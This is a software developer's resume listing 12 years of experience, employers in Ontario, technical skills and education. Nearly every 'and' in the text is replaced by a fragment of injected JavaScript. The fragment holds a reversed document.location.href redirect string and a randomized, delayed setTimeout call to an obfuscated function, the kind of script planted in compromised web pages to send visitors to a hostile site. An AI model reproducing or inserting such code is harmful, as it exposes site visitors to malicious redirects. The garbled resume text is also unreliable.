Resume
SUMMARY OF QUALIFICATIONS
- 12 years of software development tog//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and database design experience, utilizing a wide variety of languages
- Lead developer on a number of large-scale enterprise applications
- Continuously learning, experimenting with tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and teaching others advancements in software development tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and technology
- Team player who is able to both lead tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and contribute to planning, implementation tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance stages of projects
TECHNICAL CAPABILITIES
ASP .Net, C#, Visual Basic, HTML/CSS, JavaScript, Java, C/C++, Ruby, Clojure, Lisp, SQL Server, SQLite, mySQL, PostgreSQL, Sybase SQL Anywhere, OpenGL, PHP, Microsoft Access, Corel Paradox, Subversion, Git, Mercurial
EXPERIENCE
Senior Software Developer | MLD Solutions Inc.
July 2013 to Present | London, Ontario
- Responsible for customer communication, design, implementation tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance
- Mentor young development team by introducing them to SOLID design principles, automated testing tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and agile methodologies
- Technologies: ASP.NET (Web Forms tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and MVC), SQL Server, Dev Express
Senior Software Developer | Creative Options/Protiviti Inc.
August 2004 to June 2013 | Waterloo, Ontario
- Responsible for spec review, architecture design, implementation, tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintenance
- Improved team's overall code quality by performing regular code reviews tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ensuring team members follow best practices such as automated testing tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and refactoring
- Introduced tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and implemented agile methodologies such as Scrum tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Kanban to various teams within the organization
- Involved in recruiting tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and interviewing for various developer, quality assurance tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and analyst positions
- Responsible for investigating new tools tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and technologies tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and bringing them into the team
- Gained experience working with distributed teams (Argentina, Chicago, Waterloo)
- A web-based data collection tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and reporting tool that allows clients to view, analyze tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and improve upon Occupational Health tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Safety, Risk, Regulatory tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Fleet Compliance
- Used by 230,000 users worldwide
- Features: custom user dashboards, reporting, employee training, document library, automated notifications, meeting entry tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and compliance, risk rating profiles for employees tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and locations, importing client data feeds, integration with Compas, etc...
- Technologies: ASP.NET MVC, WCF, SQL Server 2008, Dev Express
- A flexible web tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and PC-based auditing tool
- Features: data entry, reporting, custom user dashboards, targetted communications, tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and administrative functionality
- Includes a web application, windows desktop application, mobile web application tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a Pocket PC application
- Htog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andles importing client data feeds tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and integrating with other client applications (via web services)
- Technologies: ASP.NET Web Forms, .Net Windows Forms, SQL Server 2008, SQLite, .Net Compact Framework
- Various applications covering areas such as safety training, employee certification, accident reduction, tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meeting entry tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and compliance.
- Built with ASP.NET Web Forms tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Sql Server
Software Developer / Database Designer | Concordia Club
May 2002 to July 2004 | Kitchener, Ontario
- Designed, developed, implemented tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and maintained two projects: a membership application tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a ticket sales tracking application
- The membership application kept track of member achievements, club status tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and fee payments
- The POS application used for selling Oktoberfest tickets htog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andled purchases, returns, remaining ticket inventory, tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and custom reporting
- Both applications were developed using Corel Paradox tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the ObjectPal language
Database Developer | Wilfrid Laurier University
April 2002 to August 2002 | Waterloo, Ontario
- Assisted a professor with their research project by importing stock market data from different sources into a SQL Server database tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and writing reports against it
COMMUNITY INVOLVEMENT
Peer-to-Peer Champion, Agile/Lean | Communitech
2010 to 2013 | Waterloo, Ontario
- User group devoted to helping others in the community learn about Agile tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Lean principles
- Responsible for facilitating monthly meetings, recruiting new members, tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and providing insight tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and direction on future topics tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and speakers
Project Manager/Technical Lead - IT Consulting tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Development Team | Wilfrid Laurier University
Summer 2001 to Summer 2003 | Waterloo, Ontario
- Led a team of student developers in providing technical consulting tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and development to various local organizations on a volunteer basis
- Mentored student developers in technical troubleshooting tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and development of various internet-based applications
SAMPLE CODE
- Allows a user to keep track of scores in various types of round/period based games.
- Motivation for this application was to explore the jQuery Mobile framework tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and to experiment with Behaviour Driven Development
- Allows stakeholders tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and team members to easily view project metrics on a single screen
- Designed to be displayed on a large tv screen in team room but can also be viewed in a browser by remote team members
- Pulls data from various web services tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and combines them into one easily readable dashboard
EDUCATION
Honours Bachelor of Science | Wilfrid Laurier University
Class of 2002
Major: Physics, Computing tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Computer Electronics
Minor: Mathematics